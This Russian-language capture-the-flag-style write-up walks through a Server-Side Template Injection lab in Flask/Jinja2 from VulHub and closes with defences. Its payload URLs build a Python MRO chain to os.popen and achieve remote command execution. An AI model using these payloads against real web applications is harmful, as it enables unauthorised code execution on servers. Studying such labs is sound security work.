На странице
apsyleg1 мин
#vulhub #ssti #flask #jinja2 #python #web-security

Server-Side Template Injection во Flask

Уязвимость

Server-Side Template Injection (SSTI) — уязвимость, при которой пользовательский ввод попадает в серверный шаблон без санитизации. Шаблонизатор исполняет ввод как код, что может привести к Remote Code Execution (RCE).

Flask использует Jinja2 в качестве шаблонизатора. Если разработчик подставляет пользовательские данные прямо в шаблон (вместо передачи через контекст), злоумышленник может выполнить произвольный Python-код на сервере.

Лаборатория

Источник: VulHub — Flask SSTI
Цель: Получить RCE через инъекцию в Jinja2-шаблон.

Поднимаем окружение:

docker compose up -d

Разведка

Стартовая страница — Hello guest:

Стартовая страница Flask-приложения: Hello guest

Приложение принимает query-параметр name и отображает его в приветствии. Без параметра выводится guest. Проверим, попадает ли ввод в шаблон.

Детект SSTI

Стандартный тест — {{7*7}}:

http://localhost:8000/?name={{7*7}}

SSTI подтверждён:  вернул 49

Сервер вернул 49 — значит выражение вычислилось. SSTI подтверждён.

Определение шаблонизатора

Разные шаблонизаторы по-разному обрабатывают {{7*'7'}}:

  • Jinja2: 7777777 (повторение строки)
  • Twig: 49 (приведение к числу)
http://localhost:8000/?name={{7*'7'}}

Jinja2 подтверждён:  вернул 7777777

Результат 7777777 — подтверждаем Jinja2.

MRO-цепочка

Jinja2 не даёт прямого доступа к os или import. Но в Python у каждого объекта есть метаданные о его классе. Через цепочку MRO (Method Resolution Order) можно добраться от любого объекта до модуля os.

Шаг 1: Класс строки

http://localhost:8000/?name={{"".__class__}}

DevTools: "".class вернул class 'str'

Браузер «проглатывает» <class 'str'> как HTML-тег — смотрим через DevTools или View Source. Получили <class 'str'> — класс пустой строки.

Шаг 2: Базовый класс object

http://localhost:8000/?name={{"".__class__.__mro__[1]}}

DevTools: mro1 вернул class 'object'

Шаг 3: Все подклассы object

http://localhost:8000/?name={{"".__class__.__mro__[1].__subclasses__()}}

Через View Source видим огромный список — сотни классов:

View Source: список всех subclasses object

Шаг 4: Поиск os._wrap_close

Нам нужен класс из модуля os — через его __globals__ мы получим доступ к popen. Ищем os._wrap_close через Ctrl+F в View Source:

Поиск os._wrap_close в View Source

Нашли. Теперь нужен его индекс в списке. Выделяем текст от начала списка до os._wrap_close, копируем и в Console считаем запятые:

"ВЫДЕЛЕННЫЙ_ТЕКСТ".split(',').length

Console: подсчёт индекса через split(',').length

В консоли получили 118 — это количество элементов. Но индексация в Python начинается с 0, поэтому индекс — 117.

Шаг 5: Глобалы модуля os

Проверяем, что через __init__.__globals__ мы получаем функции модуля os:

http://localhost:8000/?name={{"".__class__.__mro__[1].__subclasses__()[117].__init__.__globals__.keys()}}

globals.keys() — видны функции модуля os

Видим popen, system, listdir — весь модуль os доступен.

Эксплуатация

Собираем финальный payload. Логика цепочки:

  1. ''.__class__ — класс строки (str)
  2. .__mro__[1] — базовый класс (object)
  3. .__subclasses__()[117] — класс os._wrap_close
  4. .__init__.__globals__ — глобалы модуля os
  5. ['popen']('id') — запуск команды
  6. .read() — чтение вывода
http://localhost:8000/?name={{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['popen']('id').read()}}

RCE: uid=33(www-data) gid=33(www-data) groups=33(www-data),0(root)

uid=33(www-data) — команда id выполнена на сервере. RCE получен.

Вывод

Корневая причина — пользовательский ввод попадает напрямую в render_template_string() без санитизации. Jinja2 сам по себе не уязвим — проблема в том, как разработчик его использует.

Защита:

  • Не подставлять ввод в шаблон — передавать данные через контекст: render_template_string("Hello {{name}}", name=user_input)
  • Использовать песочницуjinja2.sandbox.SandboxedEnvironment ограничивает доступные атрибуты
  • Валидировать ввод — отсекать {{, {%, __ на уровне входных данных